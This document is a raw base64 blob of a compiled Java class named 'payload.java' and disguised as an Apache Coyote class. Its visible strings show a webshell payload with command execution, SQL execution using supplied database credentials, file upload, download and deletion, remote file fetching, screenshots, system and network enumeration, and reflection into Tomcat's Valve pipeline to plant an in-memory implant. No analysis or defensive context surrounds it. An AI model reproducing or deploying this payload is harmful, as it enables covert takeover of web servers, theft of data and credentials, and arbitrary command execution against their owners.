0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhAQAqb3JnL2FwYWNoZS9jb3lvdGUvaW50cm9zcGVjdC9Bbm5vdGF0aW9uTWFwAQAsTG9yZy9hcGFjaGUvY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGlvbk1hcDsAIQABAAMAAAATABkABQAGAAAAAAAHAAgAAAAAAAkACAAAAAAACgALAAAAAAAMAAsAAAAAAA0ACwAAAAAADgAPAAAAAAAQABEAAAAIABIAEwABABQAAAAAAAgAFQATAAEAFAAAAAAACAAWABMAAQAUAAAAAAAIABcAEwABABQAAAAAAAgAGAATAAEAFAAAAAAACAAZABMAAQAUAAAAAAAIABoAEwABABQAAAAAAAgAGwATAAEAFAAAAAAACAAcABMAAQAUAAAAAAAIAB0AEwABABQAAAAAAAgAHgATAAEAFAAAAAAANQAIAB8AIAABACEAAAG2AAQAAAAAAYIQQLwFWQMQQVVZBBBCVVkFEENVWQYQRFVZBxBFVVkIEEZVWRAGEEdVWRAHEEhVWRAIEElVWRAJEEpVWRAKEEtVWRALEExVWRAMEE1VWRANEE5VWRAOEE9VWRAPEFBVWRAQEFFVWRAREFJVWRASEFNVWRATEFRVWRAUEFVVWRAVEFZVWRAWEFdVWRAXEFhVWRAYEFlVWRAZEFpVWRAaEGFVWRAbEGJVWRAcEGNVWRAdEGRVWRAeEGVVWRAfEGZVWRAgEGdVWRAhEGhVWRAiEGlVWRAjEGpVWRAkEGtVWRAlEGxVWRAmEG1VWRAnEG5VWRAoEG9VWRApEHBVWRAqEHFVWRArEHJVWRAsEHNVWRAtEHRVWRAuEHVVWRAvEHZVWRAwEHdVWRAxEHhVWRAyEHlVWRAzEHpVWRA0EDBVWRA1EDFVWRA2EDJVWRA3EDNVWRA4EDRVWRA5EDVVWRA6EDZVWRA7EDdVWRA8EDhVWRA9EDlVWRA+ECtVWRA/EC9VswAisQAAAAIAJAAAABoABgAAADsAWwA8ANkAPQFXAD4BfgA7AYEAPgAlAAAAAgAAAAEAJgAgAAEAIQAAAEIAAwABAAAAECq3ACcquwApWbcAK7UALLEAAAACACQAAAAOAAMAAAAzAAQAPwAPADUAJQAAAAwAAQAAABAALgVpAAAAAQAmADAAAQAhAAAATQADAAIAAAARKiu3ADEquwApWbcAK7UALLEAAAACACQAAAAOAAMAAAA4AAUAPwAQADkAJQAAABYAAgAAABEALgVpAAAAAAARADMANAABAAEANQA2AAEAIQAAAD0ABAACAAAACSorAyu+twA3sAAAAAIAJAAAAAYAAQAAAEgAJQAAABYAAgAAAAkA